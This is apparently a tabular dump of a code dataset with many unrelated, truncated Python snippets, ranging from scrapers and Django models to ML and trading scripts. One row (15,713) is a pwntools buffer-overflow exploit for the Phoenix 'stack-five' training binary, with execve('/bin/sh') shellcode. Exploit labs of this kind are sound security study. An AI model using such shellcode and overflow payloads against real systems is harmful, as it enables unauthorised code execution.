index int64 0 1,000k | blob_id stringlengths 40 40 | code stringlengths 7 10.4M |
|---|---|---|
15,700 | 84a989e209b3ec2637e10f076d83ecc4da6f3e7d | """
Code for getting and configuring a logger for hw5.
"""
import logging
import sys
def get_logger(log_name: str) -> logging.Logger:
"""Returns a logging instance, configured so that all non-filtered messages
are sent to STDOUT.
"""
logger = logging.getLogger(log_name)
handler = logging.StreamHa... |
15,701 | 3d05d12798598f3d640b837ae12068bbb710f3cb | from itertools import product
from time import sleep
def acumulate(tuple):
cont = 0
for i in tuple:
cont+=i
yield cont
piramid = """75
95 64
17 47 82
18 35 87 10
20 04 82 47 65
19 01 23 75 03 34
88 02 77 73 07 63 67
99 65 04 28 06 16 70 92
41 41 26 56 83 40 80 70 33
41 48 72 33 47 32 37 16 94 29... |
15,702 | 2a0b39d879820107a2016986cf43fc918c829f37 | import numpy as np
import tensorflow as tf
from gensim.test.utils import datapath
from gensim.models import KeyedVectors
from tensorflow.keras import models
from tensorflow.keras import layers
import functions as fun
import attentionLayer as attention
scene_objects = ['helicopter', 'balloon', 'cloud', 'sun', 'lightni... |
15,703 | ce9fefdd3729eb8710b4ebfc19c0d9152f88197b | import boto3
# Create SQS client
sqs = boto3.client('sqs')
# List SQS queues
response = sqs.list_queues()
print(response['QueueUrls']) |
15,704 | 0dcdcdfcb1dcefcc81a236b9e84f080247caaafb | from __future__ import print_function
import mysql.connector
import requests
import time
import json
from http.cookies import SimpleCookie
from bs4 import BeautifulSoup
##################################
# #
# CONSTANTS #
# #
##########... |
15,705 | fb36dc3de2b8b468cc8fdbeb23c274aa6ebe9d82 | class Film:
def __init__(self, idf, titlu, an, pret, program):
self.id = idf
self.titlu = titlu
self.an = an
self.pret = pret
self.program = program
def setID(self, idf):
"""
Seteaza id-ul filmului cu idf
Date intrare: idf - int
"""
... |
15,706 | 0c4c46f1dfa34f190cbbca7ad2a382aa2ef9f274 | from django.db import models
# Create your models here.
class Superheroes(super_heroes.Superheroes):
name = super_heroes.Charfield(max_length=50)
|
15,707 | 61277a9b9dfce6aba6f18e25365a1ad820299aac | def solve(x,tmp):
global N,M,mat
time = 0
for i in range(N):
for j in range(M):
cal = x - mat[i][j]
abso = abs(cal)
if cal < 0 :
tmp += abso
time += 2*abso
elif cal >= 0 :
tmp -= abso
time... |
15,708 | 9af20f024a9050dcd156d57e396a376938fde47c | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : AwesomeTang
# @File : line_with_shadow.py
# @Version : Python 3.7
# @Time : 2020-11-01 13:05
from pyecharts.charts import *
from pyecharts import options as opts
import random
line_style = {
'normal': {
'width': 4, # 设置线宽
'shadowCol... |
15,709 | c790169ab5e4c81909436f2ad25adfac84dad2f6 | import yaml
from appium import webdriver
from page.po01_mainpagge import MainPage
from page.basepage import BasePage
class App(BasePage):
with open("../datas/desired_caps.yaml", encoding='UTF-8') as f:
caps = yaml.safe_load(f)["wework"]
def start(self):
if self.driver is None:
se... |
15,710 | 2c4181c367faea32797e27cc34e5296266f677db | import serial.tools.list_ports
import numpy
import matplotlib
import cv2
from pyfirmata import Arduino, util
from time import clock, sleep
def wait(lengthMS):
s = clock()
while (clock() - s) * 1000 < lengthMS:
pass
def callback(value):
pass
def setup_trackbars(range_filter):
cv2.namedWin... |
15,711 | af3e829ad9f9b34056fb9525510e028622849371 | import pandas as pd
import dask.dataframe as dd
ticker_df = pd.read_csv('../djia_symbols.csv')
ticker_list = ticker_df.symbol.tolist()
# after downloading full dataset directly from Quandl web site
df = dd.read_csv('/home/geoff/Documents/WIKI_PRICES.csv')
df2 = df[df.date >= '2015-01-01']
df2.compute()
df3 = df2[df2.... |
15,712 | c2bb3f63e2d27e0dc8323e29609b03823dfd16e3 | # -*- coding: utf-8 -*-
"""
Created on Sun Nov 26 18:44:55 2017
@author: SACHIN
"""
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.ensemble import RandomForestClassifier
from sklearn import metrics
from sklearn.cross_validation import KFold
from sklearn.metric... |
15,713 | 7e8764d79ce9c03130231ba7bb1c98c1c5ebed18 | from pwn import *
bufsize = 136
# 0x0000000000400481: jmp rax;
rop = p64(0x0000000000400481)
shellcode = '\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00H\x8d=\x07\x00\x00\x00\xb8;\x00\x00\x00\x0f\x05/bin/sh\x00'
payload = "\x90" * (bufsize - len(shellcode)) + shellcode + rop
r = process("/opt/phoenix/amd64/stack-five")
r... |
15,714 | b188b9d221b80d68e2c0a1836c5834143c3056dc | # Muhammad Ibrahim (mi2ye)
age = int(input('How old are you? '))
if age % 2 == 0:
low = (age / 2) + 7
else:
low = ((age - 1) / 2) + 7
high = (age * 2) - 13
print('You can date people between', int(low), 'and', high, 'years old')
|
15,715 | eed59b1966fe4d9f38d688a68bd32fe43343c6d6 | #Joel Feddes
#This program will determine your GPA, credit hours, and quality points per semester. Also, it will tell you what your final quality points, credit hours, and gpa is.
#This program will also tell you if you finished with honors overall, or if you were on the dean's list for a particular semester.
''' gp... |
15,716 | c9ad5cbc6f9d75e9930c3e52448af2226a9f82ae | ## Create your tasks here
from __future__ import absolute_import, unicode_literals
from celery import shared_task
from settings import SHORT, EXCHANGE_MARKETS
from taskapp.celery import app as celery_app
## Periodic tasks
@celery_app.task(retry=False)
def compute_and_save_indicators_for_all_sources(resample_period... |
15,717 | e33aeff683f917031af70c5d1090396545d216f2 | import Options
import Environment
import sys, os, shutil, glob
from os import unlink, symlink, popen
from os.path import join, dirname, abspath, normpath
srcdir = '.'
blddir = 'build'
VERSION = '0.5.0'
def set_options(opt):
opt.tool_options('compiler_cxx')
opt.tool_options('compiler_cc')
opt.tool_options('misc')
... |
15,718 | 12d22cfa3d9332b0a73dbc55eff4279a705127ac | from annar4Interface import *
from annarProtoRecv import *
from annarProtoSend import *
from MsgObject_pb2 import *
|
15,719 | c89940ab8f33c890a41e56f998fd50f4a4d4e3f9 | # -*- coding: utf-8 -*-
import scrapy
class Cd05shuangseqiuSpider(scrapy.Spider):
name = 'cd_05shuangseqiu'
allowed_domains = ['kaijiang.zhcw.com']
start_urls = [
'http://kaijiang.zhcw.com/lishishuju/jsp/ssqInfoList.jsp?czId=1&beginIssue=2003001&endIssue=2019160¤tPageNum=1']
def parse(s... |
15,720 | 6291812f3643e26b4b526cb570f731d1c72ae857 | from tkinter import *
from db_class import Profile
window = Tk()
window.geometry("500x500")
path = "Profiles.sql"
def signup():
profile = Profile(path)
firstname = entryname.get()
surename = entrysurename.get()
email = entryemail.get()
password = entrypass.get()
new_ID = profile.get_count_of_... |
15,721 | 7fdcbf73086b3e1cc24b3bffe66d725d7f7c6139 | def checkeven(val):
if val%2==0:
return True
else:
return False
def checkodd(val):
if val%2!=0:
return True
else:
return False
choice=int(input("Tell whether you want to check even or odd\n1.even\n2.odd\n"))
num=int(input("Enter number to check: "))
if choice=... |
15,722 | 07d44c70d8ef6f424166a3320af73c99767987ac | for s in input().split("-"):
print(s[0], end='')
|
15,723 | 6f9f49cfed352478bece0a5f23065fac13abeadc | import tushare as ts
import pandas as pd
import numpy as np
from sklearn.preprocessing import MinMaxScaler
from sklearn.ensemble import AdaBoostRegressor
import matplotlib.pyplot as plt
import matplotlib
matplotlib.rc('font', family='SimSun') #用来正常显示中文标签
plt.rcParams['axes.unicode_minus']=False #用来正常显示负号
from skl... |
15,724 | cdc14840f9f38fe28bee9bea0b5f5907cec0edac | __all__ = ['RF']
import plotly.graph_objects as go
import math
import sys
class Resource_fig():
def __init__(self, LUT_type, scq_size, target_timestamp):
if (LUT_type not in ('3', '4', '6')):
print("Error in selecting LUT type.")
return
self.LUT_type = LUT_type
self... |
15,725 | a60602c3d28117c66530e72914ffcf3c50e2d82b | import cronjob
@cronjobapp.register
def periodic_task():
print('ishwar...')
def my_cron_job():
print('hello ishwar')
f = open('/home/ishwar/Desktop/cronjobpro/cronjobapp/file.txt', 'w+')
f.write('ishwar')
f.close()
|
15,726 | 1f652275445d8625a1825d890ab953b9f7148822 | from django.db import models
# Create your models here.
class Disease(models.Model):
code = models.CharField(max_length=255)
name = models.CharField(max_length=255)
depart = models.CharField(max_length=255) #choices = []
class Symptom(models.Model):
code = models.CharField(max_length=255)
name = ... |
15,727 | e08d9e5df77cf664cacc31760351013c02c03e0f | n = int(input())
numbers =[]
# numbers = [int(input() for _ in range(n))] # 아래와 같지만 컴프리헨션으로 구현
for _ in range(n):
numbers.append(int(input()))
sor = sorted(numbers, reverse=True)
for i in range(n):
print(sor[i], end=' ') |
15,728 | 73e1ec500b23e9dcc061ec5516e6c8f7a9fa8e98 | from django.urls import path
from .views import OrderAPIView, MyOrderAPIView
urlpatterns = [
path('order/', OrderAPIView.as_view(), name='orders'),
path('my-orders/', MyOrderAPIView.as_view(), name='my-orders'),
]
|
15,729 | 58a641a34914c4c5d141928389bd18a801e4102c | import shutil
import numpy as np
import torch
import torch.nn as nn
import torch.functional as tf
import torch.utils.data
import time
from tqdm import tqdm
import model_denoise_clouds as model
import argparse
try:
import nvidia_smi
NVIDIA_SMI = True
except:
NVIDIA_SMI = False
import sys
import os
import pat... |
15,730 | b84c49fc698973cd6761dd4a60ece90ad17a5246 | #!/usr/bin/env python
#
# List the current set of secure policies.
#
import getopt
import json
import sys
from sdcclient import SdSecureClientV1
def usage():
print(('usage: %s [-o|--order-only] <sysdig-token>' % sys.argv[0]))
print('-o|--order-only: Only display the list of policy ids in evaluation order. '... |
15,731 | e0e7a22dfd3426a7140e2a3bd80dfbf28cbd2168 | import numpy as np
import os
import re
import matplotlib.pyplot as plt
import math
holes = []
solution = []
numholes = 0
def calculatePrice():
global holes, solution
price = 0
maxCost = 0
for i in range(numholes):
edgeCost = np.linalg.norm(np.array(holes[solution[i]]) - np.array(holes[solutio... |
15,732 | bf85aa7b0e007a0208595ad3c14df05736d2dd9e | from sqlobject import *
hub = sqlhub
class Piece(SQLObject):
title = StringCol(notNull=True)
link = StringCol(alternateID=True)
description = StringCol()
price = CurrencyCol()
inventory = IntCol(notNull=True, default=0)
active = BoolCol(notNull=True, default=True)
class PieceTags(SQLObject):... |
15,733 | e17857fccc3e9654552097bf4a0930168a079edf |
a=25
b=15
print a+b
print a-b
print a*b
print a/b
print a%b
|
15,734 | ac5fc95016930186b1b1d630dd78216c9f6d4c25 | is_male =False
is_tall=True
if is_male and is_tall:
print("You are a tall male")
elif is_male and not(is_tall):
print("You are a short male")
elif not(is_male) and not is_tall:
print("You are a short male")
else:
print("You are either not male or nor tall or both")
|
15,735 | eac21d206975994fb0b9bf083e7ffa94085bfc05 | import datetime
import re
import attr
from spatula.core import Workflow
from spatula.pages import HtmlPage, HtmlListPage
from spatula.selectors import XPath
from common import Person
PARTY_MAP = {"R": "Republican", "D": "Democratic", "I": "Independent"}
party_district_pattern = re.compile(r"\((R|D|I)\) - (?:House|Sena... |
15,736 | 1e3f340e1c57ed35cd1c7af1afbacb497e9ebb46 | import timeit
'''
start_time = timeit.default_timer()
some_function()
print( '{:.99f}'.format( timeit.default_timer() - start_time ).rstrip('0').rstrip('.') )
'''
import pandas as pd
import numpy as np
import datetime
import ml_trader.config as config
import ml_trader.utils as utils
import ml_trader.utils.file as fil... |
15,737 | 4a1032ecfd5e62dc26971720332d61ab29b1f724 | import typing as t
import typing_extensions as te
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
import datetime
import os
from sklearn.preprocessing import StandardScaler
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import TimeSeriesSplit,... |
15,738 | 0b1f4e0d1f7be6e77d1cc21b26951b4b18a5a921 | class Card:
def __init__(self, action, id):
self.action = action.lower()
self.id = id.lower()
self.image = self.action + ('' if self.id == '' else ' ') + self.id + '.jpg'
self.flipped = False
def __str__(self):
return self.action
|
15,739 | 4853eae150c6ff01024f488f9d8dd057777dd400 | #!/usr/bin/env python
import rospy
from geometry_msgs.msg import PoseStamped
from visualization_msgs.msg import Marker
pub = rospy.Publisher('/gateway/marker', Marker, queue_size = 10)
def callback(data):
m = Marker()
m.header.frame_id = data.header.frame_id
# m.header.stamp = rospy.get_time()
... |
15,740 | 124f566ddf3cee7f8c11ad930b2016f2576a9115 | import pytesseract as tess
from PIL import Image
import urllib.request
from PIL import Image
async def imageToText(url):
# get the image from the url, setting to a known browser agent
# because of mod_security or some similar server security feature
# which blocks known spider/bot user agents
class A... |
15,741 | 1494ba956dfb6f37c7491a0d59ff14185dc12827 | """
! what?
the `multiprocessing` module includes an API for
dividing work between multiple processes based on the API for `threading`
+------------------+-----------------------------------------------------------+-----------------+
| concepts | explanation | ori... |
15,742 | 12531f0ddfbe44de46d84fe6ebbaf7d28b2eccc9 | # Copyright 2018 Jose Cambronero and Phillip Stanley-Marbell
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, mod... |
15,743 | d08cf62b670389e2e80c97b3a0f01a1e249f10e7 | #Exercício Python 112: Dentro do pacote utilidadesCeV que criamos no desafio 111,
# temos um módulo chamado dado. Crie uma função chamada leiaDinheiro() que seja capaz de
# funcionar como a função imputa(), mas com uma validação de dados para aceitar apenas valores que
# seja monetários.
from utilidades import da... |
15,744 | 9d03d287539eccbe32d684b4173e3d43d898dfb7 | import Player
import Ball
running = True
screen = None
player = Player.Player()
ball = Ball.Ball()
|
15,745 | 16b25da55ed7be193f95c0169f595aa73f7a6180 | import os,sys,sip
from PyQt4 import QtGui, QtCore, uic
import maya.cmds as cmds
import maya.mel as mel
import dsCommon.dsProjectUtil as projectUtil
reload(projectUtil)
#Decalring Paths
dev = "dsDev"
live = "dsGlobal"
status = live
guiName = "vrayShapeAttrGUI.ui"
clashNameSpace = "CLASSINGELEMENT_"
if ... |
15,746 | 9cb60d1e90485816ccf2f2b8e83c9c0610f93770 | # -*- coding: utf-8 -*-
# 求1000,0000以内的所有质数,Euler筛数法,每个数只会被筛一次,并且是被它的最小的质因子筛去,复杂度O(N)
# 1000,0000以内的素数个数是664579,耗时6.129s
maxn = 10000000
checked = [False] * (maxn+1)
P = []
for i in range(2, maxn):
if not checked[i]:
P.append(i)
for p in P:
if p * i > maxn:
break
checked[p*i] = True
if i % p == 0:
... |
15,747 | 27bc20dce2c25da5eab5642ab5ee270105c41320 | # Copyright (C) 2010 Chris Jerdonek (cjerdonek@webkit.org)
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and... |
15,748 | b730035e740aa806145c3f0849f345f17ac5d983 | #!/usr/bin/env python
import boto3
import argparse
from ipaddress import IPv4Network
import json
def prepare_arguments():
parser = argparse.ArgumentParser(
description="AWS VPC Security Groups Search Utility" \
"\n\nAuthor: Tony P. Hadimulyono (github.com/tonyprawiro)",
formatter_class=argparse.RawDescription... |
15,749 | 17a845484f15e3ea91bc54fcfaaa360a87e1aea7 | from django.shortcuts import render
from rest_framework.parsers import MultiPartParser, FormParser,FileUploadParser
from rest_framework import viewsets, generics
from rest_framework.response import Response
from rest_framework import status
from orders.p_models.image_model import KImage
from orders.p_serializers.imag... |
15,750 | 09c6261b6d4b3e90add5c4dd9a1a3ec60ce5ebac | from ccu_utilities import *
from ccu_gen_beta.models import *
import pyUtilities as pyU
from prediction3 import classify
def genericAmendText(text):
text = text.lower()
if text.find('nature') > -1:
return True
if text.find('not available') > -1:
return True
if text.find('instructions') ... |
15,751 | 2a20c9bbb791f4cd9732d1bdaad7335c00e79f26 | n = int(input())
dp = [0]*(n+1)
dp[0] = 1
for i in range(1,n+1):
for x in range(1,7):
if i - x >= 0:
dp[i] += dp[i-x] % (10**9 + 7)
print(dp[n]% (10**9 + 7))
|
15,752 | 20cdff59584739f4bd42b3f0dafbb262a20a1f0d | import ROOT
def declareHistos():
print('Declaring histograms')
histos = {}
nJets_hist = ROOT.TH1D('nJets_hist', 'Number of Jets (RECO)', 20, 0, 20)
nJets_hist.GetXaxis().SetTitle('Number of Jets')
nJets_hist.GetYaxis().SetTitle('Number of Events')
histos['nJets_hist'] = nJets_hist
leadingJetPt_hist = ROOT.T... |
15,753 | de7d520162b7ac6d9dd4030dc29bef414c4f6c52 | #!/usr/bin/env python
import rospy
import sys
import os
from ackermann_msgs.msg import AckermannDriveStamped
from std_msgs.msg import Float32MultiArray, MultiArrayDimension, MultiArrayLayout
import numpy as np
import math
# TODO: import ROS msg types and libraries
LOOKAHEAD = 1.2
Waypoint_CSV_File_Path = '/home/zach/... |
15,754 | 0458702c3bdc9402d0cd2d3a452590885fba18ff | class Solution(object):
def isPalindrome(self, s):
"""
:type s: str
:rtype: bool
"""
l = []
if s == "":
return True
else:
for i in s:
if i.isalnum():
l.append(i.lower())
return l == l[::-1] |
15,755 | 1b00fc90fb2dd21a3d9cc147e2431eb69dc5f151 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Title: Simple Baseball Simulator
Created on Sat Mar 30 23:59:36 2019
@author: edwardmwadsworth
"""
from random import randint
import pandas as pd
# GLOBAL VARIABLES
# GSB stands for Game Status Board.
# Initialize GSB
Team=['VISITOR','HOME']
def InitializeGSB():
... |
15,756 | 903620a14c67e6a7474b2fc439542bb921c099c1 | import numpy as np
import pandas as pd
import nibabel as nib
import pkg_resources
data_path = pkg_resources.resource_filename('trackingtools', 'data/')
def read_csv(fn):
'''
Convenience function to read a csv file into a Pandas dataframe.
Parameters
__________
fn : str
Filename for the cs... |
15,757 | 38f3a17bb524068debe27e9c76d333b5879ae478 | from django.db import models
# Create your models here.
class EmailValidation(models.Model):
class Meta:
pass
email_pk = models.AutoField(primary_key=True)
# user_name = models.CharField(max_length=50)
request_email = models.CharField(max_length=50, null=False)
class NoteCertificateVal... |
15,758 | d8fb84258c1dcf5c1be339f60a06b3e8723d7ef8 | def get_collatz_length(n):
result = []
# optimized algorithm for collatz length
# still pretty slow, longest_collatz(1000000) take over 40s
while n != 1:
# handle odd elements in the sequence
if n % 2:
if n % 4 == 1:
# 3n + 1 is part of the 4n + 1 sequence
... |
15,759 | 0a7b3b6400065216159b0607d194618dff17ac4f | '''
Account wizard.
'''
import wx
from gui.pref import pg_accounts
from gui import skin
from gui.native.win.winutil import is_vista
import traceback
import util.primitives.funcs as utilfuncs
def show():
if not AccountWizard.RaiseExisting():
w = AccountWizard()
w.CenterOnScreen()
w.Show()
... |
15,760 | c2286351615e24986d4f90c2f068fee3515abee0 | from celery_tasks.main import celery_app
from celery_tasks.yuntongxun.ccp_sms import CCP
@celery_app.task(name='send_sms_verify_code')
def send_sms_verify_code(mobile, sms_code):
'''在celery中实现短信的异步发送功能'''
result = CCP().send_template_sms(mobile, [sms_code, 5], 1)
print(result)
return result |
15,761 | 26713acc718504ea87c5ff9adcfbfed45187e288 | """
Project Euler, problem 40
An irrational decimal fraction is created by concatenating the positive
integers: 0.12345678910'1'112131415161718192021...
It can be seen that the 12th digit of the fractional part is 1.
If dn represents the nth digit of the fractional part, find the value of
the following expression.
... |
15,762 | 5620b3815ceda98484270c2f7f1f30cc27ec9189 | from sysassert.datasource import DataSource
from sysassert.cmd import rawcmd
from sysassert.tools import normalize
class DMIDataSource(DataSource):
dmi_types = {
0: 'bios',
1: 'system',
2: 'base board',
3: 'chassis',
4: 'processor',
5: 'memory controller',
6... |
15,763 | 6cc3bf52a0ee1608a7a04d65be9e0c2f379df4d7 | #!/Users/zhenghongwang/.pyenv/shims/python3
from typing import *
import os
import time
import urllib.request
import json
import hashlib
from fetch_audio import fetch_audio
raw_data_file_path = 'raw_data.json'
mod_data = []
# read audio file in local
audio_files = os.listdir('audio')
def calc_md5(path):
with op... |
15,764 | 660d61cc95271f4920c275663d04d9574d5472da | from itertools import zip_longest
import json
import scrapy
import logging
from items.items import ProductTescoItem
array_test = lambda i:(None if len(i) == 0 else '\n'.join(i))
class TescoSpider(scrapy.Spider):
name = 'tesco'
allowed_domains = ['tesco.com']
start_urls = ['https://www.tesco.com/grocerie... |
15,765 | a946a585646de69ecd604e0e044b1d830b543b1f | from utils.Timer import *
from StateMachine import *
from datetime import datetime, timedelta
from Stimulus import *
import os
class State(StateClass):
def __init__(self, parent=None):
self.timer = Timer()
if parent:
self.__dict__.update(parent.__dict__)
def setup(self, logger, Be... |
15,766 | e6514129fa4f9a4249e413d76e0f514540dd20da | """
Tested on python 3.9.7
"""
import unittest
from unittest.mock import patch
import io
from main import checkIsGraduated
class TestIsGraduatedOrNot(unittest.TestCase):
"""
Mocking stdout for assertion output and make custom decorator
"""
mock_stdout = patch('sys.stdout', new_callable=io.StringIO)
... |
15,767 | 29a510119e519795caa742f1226154e558b72ad6 | print("Hello World!")
print("Hello Again")
print("I like typing this")
print("This is fun")
print("Yay! Printing.")
print("I'd much rather you 'not'.")
print('I "said" do not touch this.')
#run this code on terminal (SAVE before running)
#STUDY DRILLS
print("Another Line") #1
#2: print only one line (delete or commen... |
15,768 | 1f74548fb76cd973eb3ecaec8a889191b4f463e6 | from django.contrib import admin
from core.models import Entry, Member
from datetime import datetime
class EntryAdmin(admin.ModelAdmin):
list_display = ['uid', 'date', 'approved', 'member']
list_filter = ('date', 'approved', 'member')
actions = ['sign_up_as_member']
def has_add_permission(self, reque... |
15,769 | 2f6a309e54d356fa5b3238e0a3068ef749cf4af5 | # -*- coding: utf-8 -*-
from flask import Flask
from flask import render_template
#from flask.ext.twisted import Twisted
from flask_twisted import Twisted
app = Flask(__name__)
@app.route('/')
@app.route('/<name>')
def index(name=None):
print 'come into index'
return render_template('hello.html', n... |
15,770 | 552533fb8397798ab0b064372e9461109bb2f431 | from django.contrib import admin
from django.urls import path,include
from sitetest.views import index, consumo, model_form_upload, printer, pdf
app_name = 'sitetest'
urlpatterns = [
path('', index, name='site_index'),
path('<int:cliente_id>/consumo', consumo, name='consumo'),
path('carga/', model_form_u... |
15,771 | d2d1a9b80a46ffdba59d0961ddcf1bbeae90fde8 | # coding: utf-8
from __future__ import print_function
import subprocess
import docker
from .utils import new_docker_client
from docker.errors import APIError
def get_repository_name(project, stage):
return '.'.join([project.name, project.current_job.name, stage]).lower()
def get_tag_with_hash(tag, hash):
r... |
15,772 | c0ebef47af3f5c8cadd6af3921d01786e0fa349e | [
["--SE:H", "W-S-:Bs", ],
["-N-E:Be", "WN--:X", ],
]
|
15,773 | 91ec070ea730d0e464c2cfca2c33ec264bb446ce | #!/usr/bin/env python
import mongoUtils
parser = mongoUtils.create_default_argument_parser()
options = parser.parse_args()
mongoUtils.execute_mongo_command(options, """db.getCollection("failedMessage").createIndex({"statusHistory.0.status": 1, "destination.brokerName": 1})""") |
15,774 | 6ef0ed141a50be428d03d0535153285f442cfab4 | from application import app
flask_app = app.create_app()
if __name__ == "__main__":
flask_app.run(debug=True) |
15,775 | 0d378c42a0833dc42b38efe7709fce677088c44e | class CodeGenerator:
from pymongo import MongoClient
import datetime
client = MongoClient()
codes = client.makestorybot.codes
@staticmethod
def build_block(size):
from random import choice
from string import ascii_letters, digits
return ''.join(choice(ascii_let... |
15,776 | 905ba9c52fc806e63379375a91f800e196684dfd | import vampytest
from os.path import join as join_paths
from types import FunctionType
from ..loading import find_dot_env_file
def test__find_dot_env_file__0():
"""
Tests whether ``find_dot_env_file`` works as intended.
Case: Launched location is `None`.
"""
find_launched_location = lambda ... |
15,777 | 0f7ef1dee85f6f7f3a11312d14f8bfa4e3276a69 | import tensorflow as tf
import numpy as np
import cv2
import time
import os
import sys
# some image loader helpers
def getOptimizer(cfgs, learning_rate):
type_ = cfgs['train']['optimizer']
momentum = cfgs['train']['momentum']
if(type_ == 'adam'):
return tf.train.AdamOptimizer(learning_rate=lear... |
15,778 | 9a8d4b9b3af7b964c318a58d6339453045dac676 | # !/usr/bin/env python
# -*- coding: utf-8 -*-
from logbook.base import NOTSET
from logbook.handlers import Handler, StringFormatterHandlerMixin
from rqalpha.environment import Environment
from rqalpha.interface import AbstractMod
from rqalpha.utils.logger import user_system_log, user_log
class LogHandler(Handler, S... |
15,779 | 0e13fece6cb7267ccf40bd3dcb3109efdf1fbdef | import matplotlib.pyplot as plt
import numpy as np
bitmap = np.fabs(np.random.randn(100, 100))
np.min(bitmap)
np.max(bitmap)
bitmap = bitmap - np.min(bitmap)
bitmap = bitmap/np.max(bitmap)
bitmap[:, 45:55] = 1
img = plt.imshow(bitmap)
plt.show()
|
15,780 | f6168ac3bb556752b5072a8ca3c22e9a745cacac | # Copyright (c) 2019 Cable Television Laboratories, Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
15,781 | a6d39f6c03b9d625c61a288d442078ea8ea6fd6a | """Test derivation of `et`."""
import iris
import numpy as np
import pytest
from cf_units import Unit
import esmvalcore.preprocessor._derive.et as et
@pytest.fixture
def cubes():
hfls_cube = iris.cube.Cube([[1.0, 2.0], [0.0, -2.0]],
standard_name='surface_upward_latent_heat_flux',
... |
15,782 | dae7fe2daddaa2c728b171fb7887ff1b00af474d | """empty message
Revision ID: 7a794ab9febb
Revises: 7ce04814b9b7
Create Date: 2020-02-28 22:52:00.672000
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '7a794ab9febb'
down_revision = '7ce04814b9b7'
branch_labels = None
depends_on = None
def upgrade():
# ... |
15,783 | 5f5646cfb57a68ae51d9988646bcbf7fcc77c926 | import pytest
from src.utils.validators.numeric_validator import NumericValidator
class ExampleModel:
prop_to_validate = None
@pytest.fixture
def model():
return ExampleModel()
def test_is_valid_returns_true_when_property_value_is_none_and_property_is_nullable(model):
validator = NumericValidator('prop_t... |
15,784 | decbe8802652c158f7ccead62df8fc27c1307f97 | """
nn platform
This platform uses nanomsg sockets (both IPC and TCP are supported) to send and
receive packets. Unlike for other platforms, the '--interface' option is
ignored, you instead have to use '--device-socket'. This is because there has to
be a 1-1 mapping between the devices and the nanomsg sockets.
For ex... |
15,785 | 08e7a8096b641842053958fbbdc3cca755ca70a5 | import pandas as pd
from pathlib import Path
from tqdm import tqdm
RESULTS_PATH = Path(__file__).parent / 'results'
if __name__ == '__main__':
RESULTS_PATH.mkdir(exist_ok=True, parents=True)
for trial in ['preliminary_energy', 'final']:
input_directory = Path(f'results_{trial}')
dfs = []
... |
15,786 | 5a290c8ca3348a28b86e0a0de697c27839a3c5dc | """
Created on 9 Mar 2019
@author: Bruno Beloff (bruno.beloff@southcoastscience.com)
"""
import optparse
# --------------------------------------------------------------------------------------------------------------------
class CmdMQTTPeers(object):
"""unix command line handler"""
def __init__(self):
... |
15,787 | c95d1dc0491a4a58b064ff67f3deb6f50205dd52 | # -*- coding: utf-8 -*-
from django.db import models
class product_categories(models.Model):
category_name = models.CharField(max_length=100)
category_order = models.IntegerField(default=0)
def __unicode__(self):
return self.category_name
class Meta:
ordering = ["category_order"]
... |
15,788 | 55689134cef6ef8091e660b31b4adaa364283398 | # %%
import pandas as pd
from pathlib import Path
# import yaml
# %%
def panda_to_yaml(filename, obj_input):
"""Converts and exports a panda dataframe lexicon into a yaml file.
This can be used by pyContextNLP.
Use filename with .yml extension"""
filepath = Path.cwd() / "negation" / "output" / filena... |
15,789 | 0bf74afcf402fd53bceb964876a6fbd0083a710a | num1,num2=map(int,input().split())
n=[]
for i in range(num1+1,num2+1):
if i>1:
for v in range(2,i):
if(i%v==0):
break
else:
n.append(v)
print(len(n)+1)
|
15,790 | f6aff11ed442b512c0d4c423970f48186f61c880 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('rca', '0010_auto_20150928_1413'),
]
operations = [
migrations.RemoveField(
model_name='homepage',
na... |
15,791 | b8251a20f12e0cc68661cd24c49265a8498969e1 | ################################################################################
# CHIP-seq pipeline configuration file creator #
################################################################################
# MODULES -------------------------------------------------------------------... |
15,792 | 9ab2105856eeb91c8c36a75aa91e2e761bccb3dd | import tensorflow as tf
from tensorflow.keras import Model
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2DTranspose, Input, Bidirectional, InputLayer, Conv2D, Dense, \
BatchNormalization, LeakyReLU, Activation, Dropout, Concatenate, ZeroPadding2D, Reshape, RepeatVector, Fla... |
15,793 | 7eb4cbc353cff89f24ec5b1bb91aef4120ae88f6 | from cumulusci.robotframework.pageobjects import ListingPage
from cumulusci.robotframework.pageobjects import pageobject
from BaseObjects import BaseNPSPPage
from NPSP import npsp_lex_locators
@pageobject("Listing", "General_Accounting_Unit__c")
class GAUListPage(BaseNPSPPage, ListingPage):
def _is_current_p... |
15,794 | e39073ee0f044586559ea8619f9613f186861fd9 | #epic
import requests, time
while True:
r = requests.get('https://www.epicgames.com/store/ru/')
print(r)
time.sleep(10)
if r.status_code == 200:
print("Епик готов раздавать халяву")
break
input() |
15,795 | 4424dc0375e7bbc5e419524d95cb0364428e5d87 | from nose.tools import assert_equal
def median(arr1, arr2):
i = j = k = 0
while k < len(arr1) + 1:
if k > 0:
before = current
if i < len(arr1) and arr1[i] < arr2[j]:
current = arr1[i]
i += 1
else:
current = arr2[j]
j += 1
k += 1;
return (before + current)/2
class medianTest:
def test(self... |
15,796 | 8958392de2b0a36dc2c63a642fb09d31ad168a2c | import pandas
import ssl
import json
import sqlite3
#ignore ssl certificate exams
ctx=ssl.create_default_context()
ctx.check_hostname=False
ctx.verify_mode=ssl.CERT_NONE
# ALGORITHM:
# CREATE DATABASE TABLE FOR SCHEDULES
# FETCH TRAINS FROM DATABASE IN LOOP
# VISIT THAT URL AND GET THE SCHEDULE IN TABL... |
15,797 | d8befbf3e19f8acebd809ac1763bcb4df33c9382 |
